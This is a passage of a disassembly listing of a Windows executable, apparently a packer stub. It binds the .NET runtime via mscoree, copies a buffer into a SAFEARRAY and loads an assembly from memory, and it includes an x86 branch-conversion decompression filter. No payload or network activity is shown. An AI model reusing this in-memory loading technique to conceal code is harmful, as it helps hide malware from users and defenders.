		cmp	ds:dword_43400C, 0
		push	esi
		jz	short loc_435266
		mov	eax, ds:off_434024
		mov	esi, [eax+40h]
		test	esi, esi
		jz	short loc_435288


loc_435250:				; CODE XREF: sub_435237+2Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_435288
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		add	esi, 4
		jmp	short loc_435250
; ---------------------------------------------------------------------------


loc_435266:				; CODE XREF: sub_435237+Bj
		mov	eax, [ebp+arg_0]
		mov	ds:dword_434010, 1
		mov	ds:dword_434014, eax
		mov	eax, [ebp+arg_4]
		mov	ds:dword_434018, eax
		mov	eax, [ebp+arg_8]
		mov	ds:dword_43401C, eax


loc_435288:				; CODE XREF: sub_435237+17j
					; sub_435237+1Dj
		pop	esi
		pop	ebp
		retn	0Ch
sub_435237	endp


; =============== S U B	R O U T	I N E =======================================



sub_43528D	proc near		; CODE XREF: start+77Ep
		cmp	ds:dword_434010, 0
		mov	ds:dword_43400C, 1
		jz	short locret_4352B7
		push	ds:dword_43401C
		push	ds:dword_434018
		push	ds:dword_434014
		call	sub_435237

locret_4352B7:				; CODE XREF: sub_43528D+11j
		retn
sub_43528D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4352B8	proc near		; CODE XREF: start+1B5p

var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_434254
		xor	ebx, ebx
		push	offset aOle32_dll ; "ole32.dll"
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	edi	; LoadLibraryA
		mov	esi, ds:dword_43423C
		push	offset aCoinitialize ; "CoInitialize"
		push	eax
		mov	[ebp+var_38], eax
		call	esi	; GetProcAddress
		push	offset aCouninitialize ; "CoUninitialize"
		mov	[ebp+var_18], eax
		push	[ebp+var_38]
		call	esi	; GetProcAddress
		push	offset aMscoree_dll ; "mscoree.dll"
		mov	[ebp+var_38], eax
		call	edi	; LoadLibraryA
		push	offset aCorbindtorunti ; "CorBindToRuntimeEx"
		push	eax
		call	esi	; GetProcAddress
		push	offset aOleaut32_dll ; "oleaut32.dll"
		mov	[ebp+var_1C], eax
		call	edi	; LoadLibraryA
		mov	edi, eax
		push	19Bh
		push	edi
		call	esi	; GetProcAddress
		push	17h
		push	edi
		mov	[ebp+var_20], eax
		call	esi	; GetProcAddress
		push	18h
		push	edi
		mov	[ebp+var_24], eax
		call	esi	; GetProcAddress
		push	8
		push	edi
		mov	[ebp+var_2C], eax
		call	esi	; GetProcAddress
		push	10h
		push	edi
		mov	[ebp+var_30], eax
		call	esi	; GetProcAddress
		cmp	[ebp+var_18], ebx
		mov	[ebp+var_34], eax
		jz	loc_4354E6
		cmp	[ebp+var_38], ebx
		jz	loc_4354E6
		cmp	[ebp+var_1C], ebx
		jz	loc_4354E6
		cmp	[ebp+var_20], ebx
		jz	loc_4354E6
		cmp	[ebp+var_24], ebx
		jz	loc_4354E6
		cmp	[ebp+var_2C], ebx
		jz	loc_4354E6
		cmp	[ebp+var_30], ebx
		jz	loc_4354E6
		cmp	eax, ebx
		jz	loc_4354E6
		push	ebx
		call	[ebp+var_18]
		test	eax, eax
		jl	loc_4354E6
		lea	eax, [ebp+var_4]
		push	eax
		push	offset loc_434338
		push	(offset	loc_434345+3)
		push	2
		push	offset aWks	; "wks"
		push	ebx
		call	[ebp+var_1C]
		test	eax, eax
		jl	loc_4354E6
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	loc_4354E6
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		test	eax, eax
		mov	eax, [ebp+var_8]
		jl	loc_4354E9
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	offset dword_434150
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	loc_4354E6
		push	[ebp+arg_4]
		push	ebx
		push	11h
		call	[ebp+var_20]
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jz	loc_4354E6
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_28], ebx
		push	ecx
		push	eax
		call	[ebp+var_24]
		test	eax, eax
		jge	short loc_43543F
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_435429
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_435429:				; CODE XREF: sub_4352B8+169j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	loc_4354CC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_4354CC
; ---------------------------------------------------------------------------


loc_43543F:				; CODE XREF: sub_4352B8+162j
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_28]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		push	[ebp+var_18]
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	[ebp+var_2C]
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+var_18]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0B4h]
		test	eax, eax
		jl	short loc_4354B7
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+40h]
		test	eax, eax
		jl	short loc_4354B7
		lea	eax, [ebp+var_48]
		push	eax
		call	[ebp+var_30]
		push	ebx
		push	ebx
		sub	esp, 10h
		lea	esi, [ebp+var_48]
		mov	edi, esp
		mov	eax, [ebp+var_C]
		movsd
		mov	ecx, [eax]
		push	eax
		movsd
		movsd
		movsd
		call	dword ptr [ecx+94h]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		push	[ebp+var_18]
		call	[ebp+var_34]
		call	[ebp+var_38]


loc_4354B7:				; CODE XREF: sub_4352B8+1B9j
					; sub_4352B8+1CAj
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_4354C4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4354C4:				; CODE XREF: sub_4352B8+204j
		lea	ecx, [ebp+var_4]
		call	sub_43552C


loc_4354CC:				; CODE XREF: sub_4352B8+176j
					; sub_4352B8+182j
		lea	ecx, [ebp+var_C]
		call	sub_43552C
		lea	ecx, [ebp+var_10]
		call	sub_43552C
		lea	ecx, [ebp+var_14]
		call	sub_43552C
		jmp	short loc_435527
; ---------------------------------------------------------------------------


loc_4354E6:				; CODE XREF: sub_4352B8+91j
					; sub_4352B8+9Aj ...
		mov	eax, [ebp+var_8]


loc_4354E9:				; CODE XREF: sub_4352B8+125j
		cmp	eax, ebx
		jz	short loc_4354F3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_4354F3:				; CODE XREF: sub_4352B8+233j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_435500
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_435500:				; CODE XREF: sub_4352B8+240j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_43550D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_43550D:				; CODE XREF: sub_4352B8+24Dj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_43551A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_43551A:				; CODE XREF: sub_4352B8+25Aj
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_435527
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_435527:				; CODE XREF: sub_4352B8+22Cj
					; sub_4352B8+267j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4352B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43552C	proc near		; CODE XREF: sub_4352B8+20Fp
					; sub_4352B8+217p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_435538
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_435538:				; CODE XREF: sub_43552C+4j
		retn
sub_43552C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435539	proc near		; CODE XREF: sub_434960+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx


loc_435589:				; CODE XREF: sub_435539+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_43559F
		cmp	cl, 0E9h
		jz	short loc_43559F
		inc	eax
		jmp	loc_4356A5
; ---------------------------------------------------------------------------


loc_43559F:				; CODE XREF: sub_435539+59j
					; sub_435539+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_4355B9
		and	dword ptr [esi], 0
		jmp	short loc_4355C9
; ---------------------------------------------------------------------------


loc_4355B9:				; CODE XREF: sub_435539+79j
		test	ecx, ecx
		jbe	short loc_4355C9


loc_4355BD:				; CODE XREF: sub_435539+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_4355BD


loc_4355C9:				; CODE XREF: sub_435539+7Ej
					; sub_435539+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_4355DA
		cmp	dl, 0FFh
		jnz	loc_435691


loc_4355DA:				; CODE XREF: sub_435539+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_435691
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_435691
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx


loc_43561B:				; CODE XREF: sub_435539+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_435663
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_43564B
		cmp	dl, 0FFh
		jnz	short loc_435660


loc_43564B:				; CODE XREF: sub_435539+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_43561B
; ---------------------------------------------------------------------------


loc_435660:				; CODE XREF: sub_435539+110j
		mov	edi, [ebp+arg_0]


loc_435663:				; CODE XREF: sub_435539+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_4356A5
; ---------------------------------------------------------------------------


loc_435691:				; CODE XREF: sub_435539+9Bj
					; sub_435539+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_4356A0
		cmp	dl, 0FFh
		jnz	short loc_4356A5


loc_4356A0:				; CODE XREF: sub_435539+160j
		or	ecx, 10h
		mov	[esi], ecx


loc_4356A5:				; CODE XREF: sub_435539+61j
					; sub_435539+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_435589
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_435539	endp

; ---------------------------------------------------------------------------
		align 8
off_4356B8	dd offset dword_421000	; DATA XREF: start+188w start+19Cr ...
dword_4356BC	dd 8A2400h		; DATA XREF: start+15Fw start+165r ...
dword_4356C0	dd 1204Eh		; DATA XREF: start+175w start+21Dw ...
		dd 2 dup(0)
		dd 34304h, 34234h, 34228h, 2 dup(0)
		dd 3432Ch, 3425Ch, 5 dup(0)
dword_4356FC	dd 0D4h, 20000h, 1204Eh, 200h, 21000h, 20000h, 34A39h
					; DATA XREF: .ex_cod:off_434024o
		dd 400000h, 10Fh, 20499h, 0
		dd 1, 0Dh dup(0)
		dd 1, 0
		dd 12800h, 4, 1, 200h, 0DC00h, 1000h, 15FE7h, 0E0000060h
		dd 1, 200h, 800h, 17000h, 0E4Ch, 0E0000060h, 1,	200h, 3800h
		dd 18000h, 70C8h, 0E0000060h, 1, 200h, 800h, 20000h, 620h
		dd 0E0000060h, 0
_ex_cod		ends

; Section 4. (virtual address 00036000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00035800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 436000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start